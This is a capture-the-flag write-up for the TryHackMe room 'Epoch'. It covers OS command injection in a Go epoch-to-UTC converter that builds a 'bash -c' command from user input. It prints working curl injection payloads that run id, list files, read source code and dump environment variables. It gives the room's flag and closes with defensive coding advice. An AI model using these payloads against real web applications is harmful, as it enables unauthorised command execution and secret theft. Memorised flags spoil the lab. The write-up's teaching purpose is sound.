TryHackMe · Command Injection

Epoch

Exploit an unsanitized epoch-to-UTC converter to achieve OS command injection via bash -c, enumerate the execution context, read server-side source code to confirm the vulnerability mechanics, and extract the flag from a process environment variable.

Room
Epoch
Target IP
10.67.134.217
Difficulty
Easy
Category
Web / Command Injection

Objective #

The target is a web application that converts UNIX epoch values into human-readable UTC timestamps. The objective is to determine whether user input is passed unsafely to an underlying operating system command, exploit that weakness to achieve arbitrary command execution, and retrieve the flag from the target environment.

Core Lesson

A short, controlled validation path is more efficient than blind fuzzing. Confirm transport, inspect input, prove execution, then enumerate deliberately. This challenge rewards methodical reconnaissance over brute force.

Skills Tested #

Web Reconnaissance HTTP Form Analysis OS Command Injection Shell Metacharacter Testing Post-Exploitation Enumeration Source Code Review Environment Variable Extraction Shell Exit Code Control

This room is intentionally simple in surface area but dense in foundational lessons. The real skill is not guessing the flag location — it is understanding why each step in the injection chain works at the shell-interpreter level, and how error-handling logic in the application affects payload reliability.

Attack Flow #

  Check reachability (HTTP / HTTPS)
              |
              v
  Retrieve landing page, inspect
  form structure and input method
              |
              v
  Validate normal function with
  a safe epoch value (epoch=0)
              |
              v
  Test command injection using
  shell separators (;  &&)
              |
              v
  Enumerate execution context
  (pwd, ls, whoami)
              |
              v
  Read application source code
  (main.go) to confirm mechanism
              |
              v
  Search for flag in common file
  locations (filesystem scan)
              |
              v
  Pivot to environment variables
  (env) - extract FLAG variable

Methodology #

1 · Verify Service Reachability

The Action

Test whether the target is reachable over both HTTP and HTTPS to determine which transport is active.

curl -i --max-time 15 "http://10.67.134.217"
curl -k -i --max-time 15 "https://10.67.134.217"

The Why

This is foundational network hygiene. Before assessing application behavior, you must determine whether the host is reachable, which transport is active, whether TLS is configured, and whether earlier failures were due to application issues or simple connectivity mismatch. In challenge environments, service exposure often changes between restarts. Validating protocol availability first prevents wasting time on the wrong transport.

The Findings

The HTTP request returned 200 OK and served the application page. The HTTPS request failed to connect.

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 1184
Key Finding

The service was live on HTTP, not HTTPS. That immediately narrowed the testing path and eliminated any TLS-related investigation.

Thought Process

Working hypothesis: the challenge likely exposed only a single lightweight web service, probably HTTP only. Once HTTP responded successfully, the next task was to inspect the HTML and determine how the application accepted input.

2 · Inspect the Web Interface

The Action

Review the returned HTML from the landing page to understand the application's input handling.

curl -i --max-time 15 "http://10.67.134.217"

The returned page included a form like this:

<form class="col-6 mx-auto" action="/">
  <div class="input-group">
    <input name="epoch" value="" type="text" class="form-control"
      placeholder="Epoch" aria-label="Epoch"
      aria-describedby="basic-addon2" required>
    <div class="input-group-append">
      <button class="btn btn-outline-secondary"
        type="submit">Convert</button>
    </div>
  </div>
</form>

The Why

HTML inspection often reveals the application's intended input handling without requiring a proxy. Here, the key questions were: what parameter name is expected, does the form use GET or POST, and does the application reflect submitted input back into the page. The absence of method="post" in the form tag strongly implies a GET request — browsers default to GET when no method is declared.

The Findings

The form submitted to / and accepted a parameter named epoch. Because no method was declared, the browser default would be GET. This means the application could be interacted with directly via URL query parameters.

Core Lesson

Always confirm the baseline first. A working benign request gives you a reference point for spotting abnormal behavior later. HTML source often reveals more than the rendered page.

3 · Validate Normal Application Functionality

The Action

Submit a valid epoch value to confirm baseline behavior.

curl -sG "http://10.67.134.217" --data-urlencode "epoch=0"

The Why

Before testing malicious payloads, verify that the parameter name is correct, the application is functioning normally, the result is rendered inside the HTML response, and the output location in the page is predictable. This creates a control case against which injection results can be compared.

The Findings

The application responded with the expected UTC conversion:

<pre>Thu Jan  1 00:00:00 UTC 1970
</pre>

This output is characteristic of the date command with epoch input, specifically date -d @0. The fact that the challenge description mentions the site "passes your input right along" to a command-line program strongly suggested the backend was invoking date via shell.

Thought Process

A valid conversion confirmed that the epoch parameter reached backend logic successfully and that command output was reflected into the page. The next hypothesis was that the value might be interpolated directly into a shell command. The safest proof test was a classic separator-based payload.

4 · Test for OS Command Injection

The Action

Test shell metacharacter injection using ; and &&.

curl -sG "http://10.67.134.217" --data-urlencode "epoch=0;id"
curl -sG "http://10.67.134.217" --data-urlencode "epoch=0&&id"

The Why

Both ; and && are shell command separators with different semantics:

SeparatorBehavior
; Executes the next command unconditionally, regardless of previous exit code
&& Executes the next command only if the previous command exits with status 0
|| Executes the next command only if the previous command exits non-zero
| Pipes stdout of the first command into stdin of the second
$(cmd) Command substitution — executes cmd and substitutes its output inline
`cmd` Legacy command substitution (backticks) — same as $(cmd)

If either payload caused id output to appear in the response, it would confirm the application was passing user input to a shell interpreter rather than safely invoking a binary with isolated arguments.

The Findings

Both payloads succeeded. The response included:

Thu Jan  1 00:00:00 UTC 1970
uid=1000(challenge) gid=1000(challenge) groups=1000(challenge)
Key Finding

The presence of uid=1000(challenge) in application output proved arbitrary command execution in the server context. The application was clearly vulnerable to OS command injection. The task shifted from vulnerability discovery to controlled post-exploitation enumeration.

5 · Enumerate Execution Context

The Action

Enumerate the current working directory and nearby files.

curl -sG "http://10.67.134.217" --data-urlencode "epoch=0;pwd;ls -la"
curl -sG "http://10.67.134.217" --data-urlencode "epoch=0;ls -la /;ls -la /home;ls -la /home/challenge"

The Why

Once command execution is confirmed, the most efficient next step is context mapping: where am I, what user am I, what files are present, is source code available, are there obvious secrets nearby. This avoids jumping directly into noisy whole-filesystem searches.

The Findings

The process was executing from /home/challenge, and the directory contained application artifacts:

/home/challenge
go.mod
go.sum
main
main.go
views

Thought Process

Finding main.go was strategically important. Rather than continue guessing how the backend assembled commands, reading the source code would confirm the exact vulnerability mechanics.

Core Lesson

Source code access turns hypothesis into certainty. If the app code is readable after gaining execution, use it. Understanding the exact vulnerable pattern lets you construct more reliable payloads and avoid unnecessary noise.

6 · Read the Application Source Code

The Action

Read the Go source file directly from the target.

curl -sG "http://10.67.134.217" --data-urlencode "epoch=0;sed -n '1,220p' /home/challenge/main.go"

The Why

This was the most valuable validation step in the entire exploit chain. Reading source code allows the assessor to confirm exact parameter handling, see whether sanitization exists, identify whether input is passed to a shell, understand how errors are rendered, and choose more reliable payload construction.

The Findings

The application contained the following critical code path:

cmdString := fmt.Sprintf("date -d @%s", r.Epoch)
cmd := exec.Command("bash", "-c", cmdString)
stdoutStderr, err := cmd.CombinedOutput()
if err != nil {
    return c.Render("index", fiber.Map{
        "epoch":  r.Epoch,
        "output": err,
    })
}
return c.Render("index", fiber.Map{
    "epoch":  r.Epoch,
    "output": string(stdoutStderr),
})

Thought Process

At this point, the vulnerability was fully explained:

This last detail explained why some multi-command payloads would produce only exit status 1 instead of useful output.

Critical Insight

The application was not simply calling date — it was building a shell command string and handing it to bash -c. This is the exact condition that makes shell metacharacter injection possible. The fmt.Sprintf call treats user input as data, but bash -c interprets the entire string as syntax. That boundary collapse is the heart of command injection.

7 · Search for the Flag

The Action

Attempt common flag discovery patterns.

curl -sG "http://10.67.134.217" --data-urlencode "epoch=0;find / -iname '*flag*' 2>/dev/null;true"
curl -sG "http://10.67.134.217" --data-urlencode "epoch=0;find / -maxdepth 2 -type f 2>/dev/null|grep -E 'flag|user|root' ;true"
curl -sG "http://10.67.134.217" --data-urlencode "epoch=0;cat /flag.txt;cat /root/flag.txt;cat /home/challenge/flag.txt;cat /home/challenge/user.txt"

The Why

These are common post-exploitation tactics in CTF-style Linux targets: look for flag.txt, inspect obvious home directory targets, search the filesystem for names containing "flag", and read likely files directly. The ;true suffix was appended so the final shell exit code would be zero, preventing the application from suppressing useful output.

The Findings

The broad filesystem search produced many false positives such as kernel and library files named "flags" — not challenge artifacts. The multi-cat payload returned only:

exit status 1

This happened because one or more file reads failed and the application rendered the error rather than mixed stdout output.

Thought Process

The absence of a clean filesystem hit suggested the flag might not be stored in a conventional file. Since CTF containers frequently expose secrets through environment variables, the next logical action was to inspect the process environment.

Common Mistake

Treating every find *flag* result as meaningful. Many Linux systems contain numerous unrelated files whose names include "flag" or "flags" — kernel pseudo-files, library headers, build configuration files. Filter signal from noise.

8 · Inspect Environment Variables and Recover the Flag

The Action

Dump environment variables from the process context.

curl -sG "http://10.67.134.217" --data-urlencode "epoch=0;env;true"

The Why

Environment inspection is often overlooked, but it is especially important in containerized or challenge environments because:

Appending ;true ensured the shell completed with success even if any earlier command returned an unexpected code.

The Findings

The response included:

FLAG=flag{7da6c7debd40bd611560c13d8149b647}
Key Finding

The flag resided in the FLAG environment variable, not in a file on disk. Because command injection gave arbitrary shell execution in the application context, reading the environment was sufficient to retrieve it.

Flag
flag{7da6c7debd40bd611560c13d8149b647}

Rabbit Holes & Pivots #

1 · Earlier Target IPs Were Unreachable

Earlier target IPs timed out over both HTTP and HTTPS. This was not an exploitation failure — it was an environment/network timing issue common to lab platforms where restarted machines receive new IPs and may briefly be unavailable. Repeated timeouts across both protocols indicated a transport-level problem rather than a malformed request.

The Pivot: Wait for a fresh target IP and resume only after validating reachability.

Core Lesson

Not every failed request is an application bug or defensive control. Sometimes the lab is simply not ready. Verify connectivity at layer 4 before debugging layer 7.

2 · HTTPS Was a Dead End

The HTTPS request failed while HTTP succeeded. The service was only listening on port 80 and did not expose a TLS listener on 443. HTTP returned a valid 200 OK, while HTTPS failed immediately with a connection error (not a certificate warning — a total connection failure).

The Pivot: Constrain all subsequent assessment to http://10.67.134.217.

3 · Broad Flag Searches Produced Noise

find / -iname '*flag*' returned many irrelevant system files such as /proc/kpageflags and various library/tooling files. String matching against the entire filesystem is coarse — on Linux, "flag" is a common token in system and development files.

The Pivot: Shift from coarse filename searching to higher-value targets: application source code, environment variables, and execution context.

4 · Multi-cat Payload Returned Only Exit Status 1

A payload attempting several simultaneous file reads returned only exit status 1. From the source code, the application rendered err instead of stdout when the shell command returned a non-zero exit code. If any cat failed, the final shell status could be non-zero, causing the app to suppress useful output entirely.

The Pivot: Use ;true at the end of payloads so the shell would exit successfully and the application would render the command output.

Common Mistake

Ignoring shell exit codes. In command injection work, output handling is often governed as much by exit status as by command content. Always consider how the target application processes command success vs. failure.


Deep Dives #

Deep Dive 1 — Why This Is Command Injection

The backend constructed a command string using unsanitized user input, then passed it to a shell interpreter:

cmdString := fmt.Sprintf("date -d @%s", r.Epoch)
cmd := exec.Command("bash", "-c", cmdString)

This is a textbook OS command injection pattern.

Vulnerable Data Flow

StageBehavior
User input epoch is read from the query string without validation
String formatting Input is inserted into date -d @%s via fmt.Sprintf
Shell invocation bash -c interprets the entire string as shell syntax
Output handling Combined stdout/stderr is returned to the page (on exit 0)

Why bash -c Is the Problem

If the developer had executed date directly with structured arguments (e.g., exec.Command("date", "-d", "@"+epoch)), the shell would never parse the input at all. There would be no shell metacharacter interpretation. But bash -c explicitly asks Bash to interpret the string as shell syntax, which means every special character (;, &&, |, $()) is live.

Payload Semantics

PayloadShell Interpretation
0 Legitimate epoch: runs date -d @0
0;id Runs date -d @0, then unconditionally runs id
0&&id Runs id only if date -d @0 succeeds
0;env;true Runs date, dumps environment, then forces exit status 0
Core Lesson

Shelling out with string concatenation converts user input from "data" into "syntax." That boundary collapse is the heart of command injection. The safe pattern is to never pass user input through a shell interpreter.

Deep Dive 2 — Exit Status and the ;true Stabilization Trick

The application logic used CombinedOutput() and then checked err. If the shell returned a non-zero exit code, the application rendered only the error object — not the stdout/stderr content.

What This Means Operationally

ConditionShell Exit StatusApp Renders
All commands succeed 0 stdout/stderr content (useful)
Any command fails last Non-zero Error object only (e.g., "exit status 1")

Why ;true Helps

true is a shell builtin that exits with status 0. When appended as the final command, it makes the entire command chain exit successfully even if earlier operations produced non-zero codes. This causes the application to display the collected output instead of suppressing it.

Practical Comparison

PayloadLikely Result
0;cat /flag.txt;cat /root/flag.txt May end with non-zero status, hides all stdout
0;cat /flag.txt;cat /root/flag.txt;true Forces exit 0, preserves display of whatever was readable
Key Finding

Exploitation reliability is not only about gaining execution; it is also about controlling how the application handles command success and failure. Understanding the app's error-handling path (via source code review) directly informed payload design.


Defensive Lessons #

1 · Never Build Shell Commands with User Input

The root flaw was direct concatenation of attacker-controlled input into a shell command string. The safe pattern is to invoke binaries directly with explicit arguments, bypassing shell interpretation entirely.

Vulnerable pattern (what the app did):

// DANGEROUS: user input becomes shell syntax
cmdString := fmt.Sprintf("date -d @%s", userInput)
cmd := exec.Command("bash", "-c", cmdString)

Safe pattern:

// SAFE: no shell involved, arguments are data not syntax
cmd := exec.Command("date", "-d", "@"+validatedEpoch)

2 · Prefer Native Language Functions Over Shelling Out

This application did not need to call date at all. Go can convert UNIX timestamps natively using the standard library. Eliminating shell invocation removes an entire class of vulnerabilities.

// Best approach: no external process at all
t := time.Unix(epochInt, 0).UTC()
formatted := t.Format(time.UnixDate)
Core Lesson

The most secure shell command is the one you never execute. If your language's standard library can perform the operation, use it instead of shelling out.

3 · Enforce Strict Input Validation

The epoch parameter should have been constrained to numeric input only. Any of the following controls would have prevented this exploit:

ControlBenefit
Integer parsing Rejects shell metacharacters (;, &, |, etc.)
Allowlist validation Accepts only expected characters (digits, optional leading minus)
Length limits Reduces abuse surface for complex payloads
Server-side validation Prevents client-side bypass of any front-end checks

4 · Do Not Store Secrets in Easily Exposed Environments

The flag was stored in the FLAG environment variable. In real systems, secrets in environment variables can be exposed through command injection, debug endpoints, crash reports, process inspection (/proc/self/environ), and misconfigured observability tooling. Use a proper secrets manager where possible, and scope secret exposure tightly.

5 · Log and Alert on Shell Abuse Indicators

A blue team could detect this type of exploitation by watching for:

Common Mistakes to Avoid

Using bash -c with string formatting instead of direct argument passing · relying on client-side validation alone · storing secrets in environment variables accessible to web processes · rendering raw command output without output encoding · not logging or alerting on suspicious parameter content.


Full Reproduction Path #

Below is the clean, minimal path to reproduce the successful exploitation, stripped of all trial-and-error.

  1. Confirm the page is live
    curl -i "http://TARGET_IP"
  2. Confirm normal application behavior
    curl -sG "http://TARGET_IP" --data-urlencode "epoch=0"
  3. Prove command injection
    curl -sG "http://TARGET_IP" --data-urlencode "epoch=0;id"
  4. Extract the flag from the environment
    curl -sG "http://TARGET_IP" --data-urlencode "epoch=0;env;true"
  5. Submit the flag
    flag{7da6c7debd40bd611560c13d8149b647}

Commands Reference #

Reachability Check

curl -i --max-time 15 "http://TARGET_IP"
curl -k -i --max-time 15 "https://TARGET_IP"

Form Inspection

curl -i --max-time 15 "http://TARGET_IP"
# Inspect returned HTML for form structure, parameter names, and method

Baseline Validation

curl -sG "http://TARGET_IP" --data-urlencode "epoch=0"

Injection Proof

curl -sG "http://TARGET_IP" --data-urlencode "epoch=0;id"
curl -sG "http://TARGET_IP" --data-urlencode "epoch=0&&id"

Context Enumeration

curl -sG "http://TARGET_IP" --data-urlencode "epoch=0;pwd;ls -la"
curl -sG "http://TARGET_IP" --data-urlencode "epoch=0;ls -la /home/challenge"

Source Code Review

curl -sG "http://TARGET_IP" --data-urlencode "epoch=0;sed -n '1,220p' /home/challenge/main.go"

Flag Extraction

curl -sG "http://TARGET_IP" --data-urlencode "epoch=0;env;true"

Quick Reference #

Vulnerability
OS Command Injection
Root Cause
bash -c + fmt.Sprintf
(unsanitized input)
Flag Location
FLAG env variable
Flag
flag{7da6c7debd...}
Final Flag
flag{7da6c7debd40bd611560c13d8149b647}

Closing Note #

This challenge was intentionally simple in appearance but rich as an operational lesson. The critical sequence was not "guess the flag location." It was: verify transport, inspect input surface, validate normal behavior, prove shell execution, read source, adapt to error-handling behavior, and enumerate intelligently.

That sequence is what transforms a casual CTF solve into disciplined security engineering. Every step had a purpose, every pivot was informed by evidence, and the source code review was the decisive moment that elevated the assessment from inference to certainty.